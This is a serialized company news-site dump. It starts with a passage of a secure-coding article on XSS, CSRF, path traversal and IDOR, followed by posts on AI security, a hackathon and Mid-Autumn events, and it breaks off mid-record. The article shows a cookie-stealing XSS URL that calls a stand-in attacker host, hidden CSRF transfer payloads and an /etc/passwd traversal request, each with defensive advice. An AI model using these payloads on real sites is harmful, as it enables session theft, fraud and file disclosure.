XSS\n",[31,18159,18160,18163],{},[34,18161,18162],{},"Is an attack that uses malicious script code from an HTTP request. As a result, hackers steal users' data and take over their access and activities on the website by sharing URLs containing malicious code.",[34,18164,18165,18166],{},"For example\n",[31,18167,18168,18177,18180],{},[34,18169,18170,18171],{},"When accessing the website, the user does not know or accidentally clicks on an image or ad with the following malicious link:",[605,18172,18175],{"className":18173,"code":18174,"language":610},[608],"http:\u002F\u002Fuser.com\u002Fname=var+i=new+Image;+i.src=”http:\u002F\u002Fabc-hacker.com\u002F”%2Bdocument.cookie;\n",[612,18176,18174],{"__ignoreMap":66},[34,18178,18179],{},"At this point, the hacker just needs to check the request sent to his server to receive the user's cookie and use it to hijack the user's login session.",[34,18181,18182],{},"The feature of this type of XSS is that the hacker must send a malicious link to the user and trick the user into accessing this link. The malicious code will be executed as soon as the user accesses the link.",[34,18184,18185,18186],{},"Stored XSS\n",[31,18187,18188],{},[34,18189,18190],{},"A form of attack where hackers insert malicious code into the database through input data such as input, textarea, form, etc., without being carefully checked. When users access and perform operations related to saved data, malicious code will immediately work on the browser.",[34,18192,18193,18194],{},"DOM-based XSS\n",[31,18195,18196],{},[34,18197,18198],{},"Where the vulnerability exists in the client-side code, not the server-side code. This form is used to exploit XSS based on changing the HTML of the document, in other words changing the DOM structure.",[11,18200,18201],{},[20,18202,18131],{},[203,18204,18205,18208,18211],{},[34,18206,18207],{},"Data validation (define input): Make sure the input data provided by the user is correct.",[34,18209,18210],{},"Filtering (filtering user input): This method helps to find dangerous keywords in the user input to promptly replace or remove them.",[34,18212,18213],{},"Escape: This is a relatively effective XSS prevention by changing the characters with special code that can use the appropriate Escape library.",[565,18215,18217],{"id":18216},"cross-site-request-forgery-csrf",[20,18218,18219],{},"Cross-Site Request Forgery (CSRF)",[11,18221,18222],{},"Cross-Site Request Forgery (CSRF) is an attack that forces users to perform unexpected actions on a web application for which they are currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker can trick web application users into performing actions chosen by the attacker.",[11,18224,18225],{},"For example, user1 has logged into the bank and wants to transfer money to user2 which is 1000$, user3 is the attacker who wants user1 to transfer money to him, it will be as follows:",[11,18227,18228],{},"If the application is designed to use a GET request to pass parameters and perform transfer actions, a request like:",[605,18230,18233],{"className":18231,"code":18232,"language":610},[608]," http:\u002F\u002Fbank.com\u002Ftransfer?account=user2&amount=1000\n",[612,18234,18232],{"__ignoreMap":66},[11,18236,18237],{},"Now user3 decides to exploit this web application vulnerability by using user1 as the victim. First, user3 constructs the following mining URL that will transfer $200,000 from user1's account to his own. user3 takes the original command URL and replaces the payee name with his own, and significantly increases the amount of the transfer as follows:",[605,18239,18242],{"className":18240,"code":18241,"language":610},[608],"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\n",[612,18243,18241],{"__ignoreMap":66},[11,18245,18246],{},"User3 then sends an unsolicited email with HTML content or places a URL on pages that the victim can access while they are also doing online banking. The exploit URL can be disguised as a regular link, encouraging the victim to click on it:",[605,18248,18251],{"className":18249,"code":18250,"language":610},[608],"\u003Ca href=\"http:\u002F\u002Fbank.com\u002Ftransfer.do?acct=user3&amount=200000\">Click to see the photo\u003C\u002Fa>\nOr like the picture:\n\u003Cimg src=\"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\" width=\"0\" height=\"0\" border=\"0\">\n",[612,18252,18250],{"__ignoreMap":66},[11,18254,18255],{},"If this image tag is included in the email, the user1 will not see anything. However, the browser will still send a request to bank.com without any visual indication that the transfer has taken place.",[11,18257,18258],{},[20,18259,18260],{},"Another case",[11,18262,18263],{},"Let's say the bank is currently using POST and the vulnerable request looks like this:",[605,18265,18268],{"className":18266,"code":18267,"language":610},[608],"POST http:\u002F\u002Fbank.com\u002Ftransfer\naccount=user2&amount=1000\n",[612,18269,18267],{"__ignoreMap":66},[11,18271,18272],{},"Such a request cannot be submitted using the standard \u003Ca> or \u003Cimg> tags, but can be submitted using the \u003Cform> tag as follows:",[605,18274,18277],{"className":18275,"code":18276,"language":610},[608],"\u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n  \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n  \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n\u003C\u002Fform>\n",[612,18278,18276],{"__ignoreMap":66},[11,18280,18281],{},"This form will require the user to click a submit button, but this can also be done automatically using JavaScript:",[605,18283,18286],{"className":18284,"code":18285,"language":610},[608],"\u003Cbody onload=\"document.forms[0].submit()\">\n  \u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n    \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n    \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n    \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n  \u003C\u002Fform>\n\u003C\u002Fbody>\n",[612,18287,18285],{"__ignoreMap":66},[11,18289,18290],{},[20,18291,18131],{},[31,18293,18294,18316],{},[34,18295,18296,18302],{},[20,18297,18298,18299],{},"User ",[20,18300,18301],{},"behaviors",[31,18303,18304,18307,18310,18313],{},[34,18305,18306],{},"Should log out of important websites such as bank accounts, online payments, social networks, Gmail, etc. when the transaction is done.",[34,18308,18309],{},"Do not click on unknown links that you receive via email, Facebook, etc., or open strange emails.",[34,18311,18312],{},"Do not save password information in your browser (do not choose the methods \"login next time\", \"save password\").",[34,18314,18315],{},"In the process of making transactions or visiting important websites, do not visit other websites, which may contain exploit codes of attackers.",[34,18317,18318,18321],{},[20,18319,18320],{},"Server-side",[31,18322,18323,18326,18329,18332],{},[34,18324,18325],{},"Use GET and POST properly. Use GET if the operation is a data query. Use POST if the operation makes a system change. If your application is RESTful, you can use additional HTTP verbs, like PATCH, PUT or DELETE.",[34,18327,18328],{},"Captcha is used to identify the object that is working with the system is human or not. Important operations such as \"login\", \"transfer\", \"payment\" are often used captcha.",[34,18330,18331],{},"Use separate cookies for the admin page",[34,18333,18334],{},"IP check: Some important systems only allow access from pre-established IPs",[565,18336,18338],{"id":18337},"path-traversal",[20,18339,18340],{},"Path Traversal",[11,18342,18343],{},"Path traversal is a web vulnerability that allows an attacker to access files and folders stored outside the web root directory, reading unwanted files on the server. It leads to the exposure of sensitive application information such as login information, some operating system files, or folders. In some cases it is also possible to write to files on the server, allowing an attacker to change data or even take control of the server.",[11,18345,18346],{},"For example",[11,18348,18349],{},"An application that loads images looks like this:",[605,18351,18354],{"className":18352,"code":18353,"language":610},[608],"\u003Cimg src=\"\u002FloadImage?filename=image-logo.png\">\n",[612,18355,18353],{"__ignoreMap":66},[11,18357,18358],{},"When we send a request with a param filename=image-logo.png  it will return the content of the specified file with the image file at \u002Fvar\u002Fwww\u002Fimages\u002Fimage-logo.png",[11,18360,18361],{},"Since the application does not protect against the path traversal attack, the attacker can make an arbitrary request to be able to read the files in the system.",[11,18363,18346],{},[605,18365,18368],{"className":18366,"code":18367,"language":610},[608],"https:\u002F\u002Fhostname\u002FloadImage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n",[612,18369,18367],{"__ignoreMap":66},[11,18371,18372],{},"The application will then read the file with the path \u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd with each  ..\u002F  returning to the parent directory of the current directory. So with  ..\u002F..\u002F..\u002F, the directory  \u002Fvar\u002Fwww\u002Fimages\u002F  has returned to the original directory and file \u002Fetc\u002Fpasswd is the file that is read.",[11,18374,18375],{},"On Linux operating systems, \u002Fetc\u002Fpasswd\u002F  is a file containing information about users.",[11,18377,18378],{},"After reading the file \u002Fetc\u002Fpasswd\u002F it will look like this",[438,18380],{"className":18381,"alt":66,"src":18382,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F21090548\u002Fsecure-coding-3.png",[11,18384,18385],{},"In addition to this file \u002Fetc\u002Fpasswd\u002F, an attacker can make an arbitrary request to be able to read other files and directories in the system.",[11,18387,18388],{},[20,18389,18131],{},[203,18391,18392,18395,18398,18401],{},[34,18393,18394],{},"User input should be validated before processing.",[34,18396,18397],{},"Do not store sensitive configuration files inside the web root directory.",[34,18399,18400],{},"Use a whitelist for allowed values or file names that are numeric characters, letters should not contain special characters.",[34,18402,18403],{},"About the file can use Amazon S3 to store and retrieve it.",[565,18405,18407],{"id":18406},"insecure-direct-object-references-idor","Insecure Direct Object References (IDOR)",[11,18409,18410],{},"Insecure Direct Object References (IDOR) is a vulnerability that occurs when a program allows users to illegally access resources (data, files, directories, databases) through user-supplied data.",[11,18412,18346],{},[11,18414,18415,18416,18420],{},"In the \"Manage Orders\" section, the URL of an order will look like this:  ",[55,18417,18418],{"href":18418,"rel":18419},"http:\u002F\u002Fshop.com\u002Fuser\u002Forder\u002F1",[59],". The server will read ID = 1 from the URL, then find the order with ID = 1 in the database and pour data into HTML. Then change ID = 1 to another number, now the system reads and displays all orders (including orders of other customers).",[11,18422,18423],{},"The vulnerability here is: the program allows illegal access to resources (other people's orders) through the data (ID) provided via the URL. The program should have checked if the user has permission to access this data.",[11,18425,18426],{},"In fact, hackers can use many tricks such as changing the URL, changing the param in the API, and using the tool to scan for unsecured resources.",[11,18428,18429],{},[20,18430,18131],{},[203,18432,18433,18436,18439],{},[34,18434,18435],{},"Set strict user permissions",[34,18437,18438],{},"Always test the application carefully",[34,18440,18441],{},"Protect sensitive data such as source code, config, database key, need to restrict access. The best practice is to only allow internal IPs to access this data.",[403,18443,18445],{"id":18444},"conclude","Conclude",[11,18447,18448],{},"The use of secure coding for the application is an indispensable element to ensure safety and security. By applying secure coding principles and methods, you can help prevent security vulnerabilities from appearing at an early stage and reduce future risks. Build a trusted and secure app for users.",[403,18450,3866],{"id":3476},[11,18452,18453],{},[55,18454,18455],{"href":18455,"rel":18456},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002F",[59],[11,18458,18459],{},[55,18460,18461],{"href":18461,"rel":18462},"https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FOWASP_SCP_Quick_Reference_Guide_v1.pdf",[59],[11,18464,18465],{},[55,18466,18467],{"href":18467,"rel":18468},"https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002F",[59],[11,18470,18471],{},[55,18472,18473],{"href":18473,"rel":18474},"https:\u002F\u002Fwww.websec.ca\u002Fkb\u002Fsql_injection",[59],[11,18476,18477],{},[55,18478,18479],{"href":18479,"rel":18480},"https:\u002F\u002Fcodedx.com\u002Finsecure-direct-object-references\u002F",[59],[11,18482,18483],{},[55,18484,18485],{"href":18485,"rel":18486},"https:\u002F\u002Fviblo.asia\u002Fs\u002Fsecure-coding-for-developers-dbZN76EalYM",[59],{"title":66,"searchDepth":67,"depth":67,"links":18488},[18489,18490,18491,18504,18511,18512],{"id":17427,"depth":67,"text":17428},{"id":17437,"depth":67,"text":17438},{"id":17467,"depth":67,"text":17468,"children":18492},[18493,18494,18495,18496,18497,18498,18499,18500,18501,18502,18503],{"id":17471,"depth":1306,"text":17472},{"id":17515,"depth":1306,"text":17516},{"id":17556,"depth":1306,"text":17557},{"id":17632,"depth":1306,"text":17633},{"id":17682,"depth":1306,"text":17683},{"id":17738,"depth":1306,"text":17739},{"id":17811,"depth":1306,"text":17812},{"id":17864,"depth":1306,"text":17865},{"id":17923,"depth":1306,"text":17924},{"id":17976,"depth":1306,"text":17977},{"id":18032,"depth":1306,"text":18033},{"id":18085,"depth":67,"text":18086,"children":18505},[18506,18507,18508,18509,18510],{"id":18089,"depth":1306,"text":18090},{"id":18145,"depth":1306,"text":18146},{"id":18216,"depth":1306,"text":18219},{"id":18337,"depth":1306,"text":18340},{"id":18406,"depth":1306,"text":18407},{"id":18444,"depth":67,"text":18445},{"id":3476,"depth":67,"text":3866},"2025-03-25","Introduction to secure coding Secure coding is the process of writing highly secure source code, minimizing vulnerabilities to prevent attacks from intruders or hackers, focusing on writing code, and developing applications safely. Insecure code is the main source of many security problems in software. Errors in the code can lead to serious problems such as security vulnerabilities, intrusions, unauthorized access to data, and even harm to systems and users. Secure coding ensures that applications and systems are written correctly and securely from development to deployment.",{},"\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan",{"title":17422,"description":18514},"news\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F20130147\u002Fimage-secure-coding.jpg","QDyQkz6FRgPzfJNDwULRpz0aXvyNAaPlLBb3zVKLFGk",{"id":18522,"title":18523,"body":18524,"category":18614,"created by":70,"date":2868,"description":18528,"extension":72,"meta":18615,"navigation":74,"path":18616,"sections":76,"seo":18617,"stem":18618,"thumbnail":18619,"__hash__":18620},"content_en\u002Fnews\u002Fsu-dung-ai-an-toan-trong-ky-nguyen-so.md","BRISWELL VIETNAM - SAFE AI USAGE IN THE DIGITAL ERA",{"type":8,"value":18525,"toc":18608},[18526,18529,18532,18536,18539,18543,18546,18550,18554,18557,18583,18590,18594,18598,18602,18605],[11,18527,18528],{},"At Briswell Vietnam, staying at the forefront of cutting-edge technology, especially AI, is always our top priority to optimize productivity. However, we believe that the power of technology must go hand-in-hand with information security - the most valuable asset of both our company and our clients.",[11,18530,18531],{},"Recently, Briswell Vietnam hosted a specialized Knowledge Sharing session:",[565,18533,18535],{"id":18534},"safe-ai-usage-security-guidelines-for-individuals-and-organizations","\"Safe AI Usage: Security Guidelines for Individuals and Organizations\"",[11,18537,18538],{},"This session was more than just a knowledge update for our team; it was a firm commitment from Briswell Vietnam to building a professional and secure working environment.",[565,18540,18542],{"id":18541},"why-is-ai-security-essential","Why is AI Security Essential?",[11,18544,18545],{},"In an era where tools like ChatGPT, Gemini, Cursor, or GitHub Copilot have become indispensable \"companions\" for software engineers, risks such as data leakage or copyright infringement are more prominent than ever. At Briswell Vietnam, we understand that: \"Powerful AI helps us go fast, but Safe AI helps us go far.\"",[565,18547,18549],{"id":18548},"core-content-from-awareness-to-action","Core Content: From Awareness to Action",[438,18551],{"className":18552,"alt":66,"src":18553,"style":444},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22085500\u002Fnoi_dung.png",[11,18555,18556],{},"The sharing session focuses on several key pillars:",[31,18558,18559,18565,18571,18577],{},[34,18560,18561,18564],{},[20,18562,18563],{},"Real-world Risk Analysis",":\nWe reviewed major global security incidents resulting from uncontrolled AI usage, helping our team identify potential vulnerabilities in their daily workflows.",[34,18566,18567,18570],{},[20,18568,18569],{},"Building a \"Security First\" Mindset",":\nWe emphasized the vital importance of protecting client data and projects. All information shared with AI must be processed, anonymized, and strictly controlled.",[34,18572,18573,18576],{},[20,18574,18575],{},"Organizational Governance Framework",":\nWe introduced Briswell Vietnam’s policies on AI tool approval, access management, and incident response plans to ensure all operations remain within a \"safety corridor.\"",[34,18578,18579,18582],{},[20,18580,18581],{},"Personal Security Habits",":\nAll staff are encouraged to implement proactive protections, such as enabling MFA, disabling the training feature on user data, and maintaining a critical mindset to verify all AI-generated outputs.",[11,18584,18585,18586],{},"📸 Highlights from the Session\n",[438,18587],{"className":18588,"alt":66,"src":18589,"style":1894},[441,442,7107],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22085500\u002Fimage2.jpg",[438,18591],{"className":18592,"alt":66,"src":18593,"style":1894},[441,442,7107],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22085500\u002Fimage3.jpg",[438,18595],{"className":18596,"alt":66,"src":18597,"style":1894},[441,442,7107],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22085500\u002Fimage1.jpg",[565,18599,18601],{"id":18600},"ai-power-meets-security-responsibility","AI Power Meets Security Responsibility",[11,18603,18604],{},"At Briswell Vietnam, we believe AI will continue to play a pivotal role in how we work and develop products in the future. However, AI only truly delivers value when used correctly and paired with the right security awareness.",[11,18606,18607],{},"Through this session, Briswell Vietnam continues to foster a culture of learning, technological advancement, and heightened security awareness across our entire team, striving toward a modern, professional, and safer workplace in the age of AI.",{"title":66,"searchDepth":67,"depth":67,"links":18609},[18610,18611,18612,18613],{"id":18534,"depth":1306,"text":18535},{"id":18541,"depth":1306,"text":18542},{"id":18548,"depth":1306,"text":18549},{"id":18600,"depth":1306,"text":18601},[1319,4753],{},"\u002Fnews\u002Fsu-dung-ai-an-toan-trong-ky-nguyen-so",{"title":18523,"description":18528},"news\u002Fsu-dung-ai-an-toan-trong-ky-nguyen-so","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22085500\u002Fsu_dung_ai.png","LeroVaAnhJUUUt_VRXdd40zEhZ2OrlR6qK4betvfCvE",{"id":18622,"title":18623,"body":18624,"category":69,"created by":4115,"date":18882,"description":18628,"extension":72,"meta":18883,"navigation":74,"path":18884,"sections":76,"seo":18885,"stem":18886,"thumbnail":18887,"__hash__":18888},"content_en\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023.md","1st Hackathon event in Briswell Vietnam in 2023",{"type":8,"value":18625,"toc":18869},[18626,18629,18633,18644,18648,18659,18662,18682,18686,18689,18693,18696,18699,18702,18705,18708,18712,18723,18727,18750,18754,18759,18763,18768,18770,18773,18799,18802,18805,18808,18811,18814,18817,18820,18823,18826,18829,18833,18836,18839,18842,18845,18851,18854,18860,18863],[11,18627,18628],{},"Briswell Vietnam organized a Hackathon event for company members, creating opportunities for everyone to research and develop new services. The event runs for three weeks; in the last week, there will be a presentation, and the groups will present their achievements over the past three weeks. Here are the details of this Hackathon event.",[403,18630,18632],{"id":18631},"purpose","Purpose",[31,18634,18635,18638,18641],{},[34,18636,18637],{},"Develop new services for the company",[34,18639,18640],{},"Improve and develop new development methods.",[34,18642,18643],{},"Help members achieve objectives they usually do not have the opportunity to accomplish when participating in company projects, such as the design and release stages.",[403,18645,18647],{"id":18646},"term","Term",[31,18649,18650,18653,18656],{},[34,18651,18652],{},"The event runs from February 13 to March 2.",[34,18654,18655],{},"The presentation will take place on March 2.",[34,18657,18658],{},"Members need to arrange to join this activity at least 2 days per week. For members with more free time, more participation is possible.",[403,18660,8069],{"id":18661},"schedule",[31,18663,18664,18667,18670,18673,18676,18679],{},[34,18665,18666],{},"The management board issues specific rules and schedules for the event.",[34,18668,18669],{},"The management board decides on members for each team.",[34,18671,18672],{},"Hold a meeting of all event participants to explain the rules, schedule, topics, and members of each team.",[34,18674,18675],{},"Teams meet together to decide on the group's product, notify the management board about their products.",[34,18677,18678],{},"Hold a presentation on March 2 (prepare presentation materials and videos).",[34,18680,18681],{},"Write tech blog articles about the team's products.",[403,18683,18685],{"id":18684},"theme","Theme",[11,18687,18688],{},"Fitness\u002F Healthcare",[403,18690,18692],{"id":18691},"team","Team",[11,18694,18695],{},"The list of teams and members is as follows:",[11,18697,18698],{},"Team1: Calories-showing (Nghĩa, Sang, Đạt, Hào, Ngọc(C))",[11,18700,18701],{},"Team2: Enjoy-life (Hiếu, Duy, Vinh, Hoàng, Trung, Châu(C))",[11,18703,18704],{},"Team3: Healthy-healthier (Thành, Khánh, Hữu, Khuyên, T.Anh(C))",[11,18706,18707],{},"Operation support: Hải(C)",[403,18709,18711],{"id":18710},"privileges","Privileges",[31,18713,18714,18717,18720],{},[34,18715,18716],{},"The 1st prize: 200.000 VND for each member.",[34,18718,18719],{},"Run the business using the application.",[34,18721,18722],{},"Have a bonus if their product has a profit.",[403,18724,18726],{"id":18725},"regulations","Regulations",[31,18728,18729,18732,18735,18738,18741,18744,18747],{},[34,18730,18731],{},"Tasks are managed by Redmine. (Same with the BWJ PJ)",[34,18733,18734],{},"Protect copyrights and information confidentiality.",[34,18736,18737],{},"Use repositories of GitHub the company provided.",[34,18739,18740],{},"Need to use AI technology or AI services in the team's application (can use simple AI services to process text, images, sounds, etc.)",[34,18742,18743],{},"The management board's consent is required when using the paid services. Prioritize the use of free services. (When using a fee-based service, you need to make a list of specific costs, the company will pay each team at most 1,000,000 VND per month)",[34,18745,18746],{},"Hold meetings between members every morning. (Remember to create a meeting schedule)",[34,18748,18749],{},"When building the system, the UI is written in English.",[403,18751,18753],{"id":18752},"judge","Judge",[31,18755,18756],{},[34,18757,18758],{},"The result of the winning team will be decided through the votes of members of Briswell Vietnam and Briswell Japan.",[403,18760,18762],{"id":18761},"decide-product","Decide product",[31,18764,18765],{},[34,18766,18767],{},"Before proceeding with product development, each team needs to decide what products the team will make, the AI services they will use, as well as how to implement the team's products and services. The team will then notify the management board and need to get approval before officially proceeding with the design and coding.",[403,18769,8901],{"id":8900},[11,18771,18772],{},"According to the plan outlined, the presentation will occur on March 2. Teams present their products. Accordingly, each team will create a presentation document with the following details:",[31,18774,18775,18778,18781,18784,18787,18790,18793,18796],{},[34,18776,18777],{},"The attractiveness\u002Fcontent of the service (explained at the same time as running the application)",[34,18779,18780],{},"The technology used and method of application development",[34,18782,18783],{},"Services, tools, and libraries used (be sure to include the license and their intended use)",[34,18785,18786],{},"Features and advantages of the product that the team has devised",[34,18788,18789],{},"The members and their roles",[34,18791,18792],{},"AI Service used and its purpose",[34,18794,18795],{},"Unfinished features or features to be added in the future",[34,18797,18798],{},"Other things",[11,18800,18801],{},"Specific schedule of the presentation day:",[11,18803,18804],{},"3h00 ~ 3h05: Introduction (the management board)",[11,18806,18807],{},"3h05 ~ 3h30: Team Enjoy-Life",[11,18809,18810],{},"3h30 ~ 3h35: Break",[11,18812,18813],{},"3h35 ~ 4h00: Team Calories-Showing",[11,18815,18816],{},"4h00 ~ 4h05: Break",[11,18818,18819],{},"4h05 ~ 4h30: Team Healthy-Healthier",[11,18821,18822],{},"4h30 ~ 5h00: Voting and other activities",[403,18824,711],{"id":18825},"result",[11,18827,18828],{},"The voting period is from March 2 to March 8. Below are the voting results.",[438,18830],{"className":18831,"alt":66,"src":18832,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F22152722\u002FScreenshot-2023-03-22-151942-768x333.png",[11,18834,18835],{},"Based on the voting results, there were 2 teams equal to the number of votes. To select the winning team, the management board relied on other criteria such as presentation, harmony, teamwork, and cooperation in work. We decided that the final winning team of Hackathon 202302 was Enjoy Life with the Ingredient Checker product. At the same time also congratulate the remaining teams who also tried their best with their products.",[11,18837,18838],{},"Because this is the first time the Hackathon event has been held, many things still need to be corrected; the management board has also received feedback from everyone to improve the next time, and thank you to all members who attended the event.",[11,18840,18841],{},"Below are links to the tech blog posts of the Hackathon products.",[11,18843,18844],{},"Team Calorie Showing with the product Calorie Showing.",[11,18846,18847],{},[55,18848,18850],{"href":18849},"\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an\u002F","https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an\u002F",[11,18852,18853],{},"Team Enjoy Life with the product Ingredient Checker.",[11,18855,18856],{},[55,18857,18859],{"href":18858},"\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker\u002F","https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker\u002F",[11,18861,18862],{},"Team Heathy Healthier with the product Easy Medicine.",[11,18864,18865],{},[55,18866,18868],{"href":18867},"\u002Fnews\u002Fhackathon-team3\u002F","https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fhackathon-team3\u002F",{"title":66,"searchDepth":67,"depth":67,"links":18870},[18871,18872,18873,18874,18875,18876,18877,18878,18879,18880,18881],{"id":18631,"depth":67,"text":18632},{"id":18646,"depth":67,"text":18647},{"id":18661,"depth":67,"text":8069},{"id":18684,"depth":67,"text":18685},{"id":18691,"depth":67,"text":18692},{"id":18710,"depth":67,"text":18711},{"id":18725,"depth":67,"text":18726},{"id":18752,"depth":67,"text":18753},{"id":18761,"depth":67,"text":18762},{"id":8900,"depth":67,"text":8901},{"id":18825,"depth":67,"text":711},"2023-03-30",{},"\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023",{"title":18623,"description":18628},"news\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F22213033\u002F336352687_129229636774710_4526858656474541242_n.png","2WxYJTCJV1glrBhXSQOhqm7Z3ReYO6beMs1v6ESFEi0",{"id":18890,"title":18891,"body":18892,"category":3032,"created by":70,"date":18925,"description":18926,"extension":72,"meta":18927,"navigation":74,"path":18928,"sections":76,"seo":18929,"stem":18930,"thumbnail":18931,"__hash__":18932},"content_en\u002Fnews\u002Ftet-trung-thu-nam-2021.md","MID- AUTUMN FESTIVAL IN 2021",{"type":8,"value":18893,"toc":18923},[18894,18897,18900,18903,18906,18910,18913,18917,18920],[11,18895,18896],{},"A \"New a format station\" has been and is starting to take place at Briswell Vietnam.",[11,18898,18899],{},"Although the Coronavirus Disease 2019 situation has made positive progress, the speed of vaccination in the Ho Chi Minh city is being accelerated every day, the city is also making plans to gradually reopen to economic activities, but the Disease still is going on quite complicatedly, a decision the social distancing a necessity, to be able to activate in the current economic times that force many large, the medium and small company have to change the way their work, Change from work at the office to work from home.",[11,18901,18902],{},"Briswell Vietnam is no exception. Do not let the distance separate us from each other, do not let the geographical distance hinder the members of the company, as well as prevent the company's attention for all staff.",[11,18904,18905],{},"This September, the company also promptly delivered the flavored-warm mooncakes to the staff's house.",[438,18907],{"className":18908,"alt":66,"src":18909,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20115941\u002FImage-from-iOS-1-scaled.jpg",[11,18911,18912],{},"Hopefully, Briswell Vietnam members will be feeling warm with this small gift and enjoy a meaningful Mid-Autumn Festival together at home.",[438,18914],{"className":18915,"alt":66,"src":18916,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20120012\u002FIMG20210920093414-scaled.jpg",[11,18918,18919],{},"Let's STAY HOME, STAY HEALTHY together.",[11,18921,18922],{},"Let's start a new journey, although difficult but also full of fun and experiences.",{"title":66,"searchDepth":67,"depth":67,"links":18924},[],"2021-09-20","A \"New a format station\" has been and is starting to take place at Briswell Vietnam. Although the Coronavirus Disease 2019 situation has made positive progress, the speed of vaccination in the Ho Chi Minh city is being accelerated every day, the city is also making plans to gradually reopen to economic activities, but the Disease still is going on quite complicatedly, a decision the social distancing a necessity, to be able to activate in the current economic times that force many large, the medium and small company have to change the way their work, Change from work at the office to work from home.",{},"\u002Fnews\u002Ftet-trung-thu-nam-2021",{"title":18891,"description":18926},"news\u002Ftet-trung-thu-nam-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20125027\u002Ftetrungthu.png","QD1BMnc6IAXp3Hi7kKXm0Xzf0Q1qDBCA-n0LrRU6XVU",{"id":18934,"title":18935,"body":18936,"category":3032,"created by":4334,"date":19050,"description":19051,"extension":72,"meta":19052,"navigation":74,"path":19053,"sections":76,"seo":19054,"stem":19055,"thumbnail":19056,"__hash__":19057},"content_en\u002Fnews\u002Ftet-trung-thu-nam-2025.md","Mid-Autumn Event in 2025",{"type":8,"value":18937,"toc":19048},[18938,18941,18944,18958,18966,18970,18980,18989,18992,19003,19014,19017,19027,19030,19042,19045],[11,18939,18940],{},"In the lively ambiance of the Mid-Autumn Festival, Briswell held a warm party for all staff.",[11,18942,18943],{},"The mooncakes were thoughtfully given to everyone as a wish for peace and sweetness.",[11,18945,18946,18950,18952,18956],{},[438,18947],{"className":18948,"alt":66,"src":18949,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06132925\u002FIMG_7934-768x576.jpg",[473,18951],{},[438,18953],{"className":18954,"alt":66,"src":18955,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133018\u002FIMG_7936-768x943.jpg",[473,18957],{},[11,18959,18960,18964],{},[438,18961],{"className":18962,"alt":66,"src":18963,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133113\u002FIMG_7940-768x1207.jpg",[473,18965],{},[438,18967],{"className":18968,"alt":66,"src":18969,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133203\u002FIMG_7944-768x700.jpg",[765,18971,4371,18973,18976,18977],{"className":18972,"style":7038},[7107],[438,18974],{"className":18975,"alt":6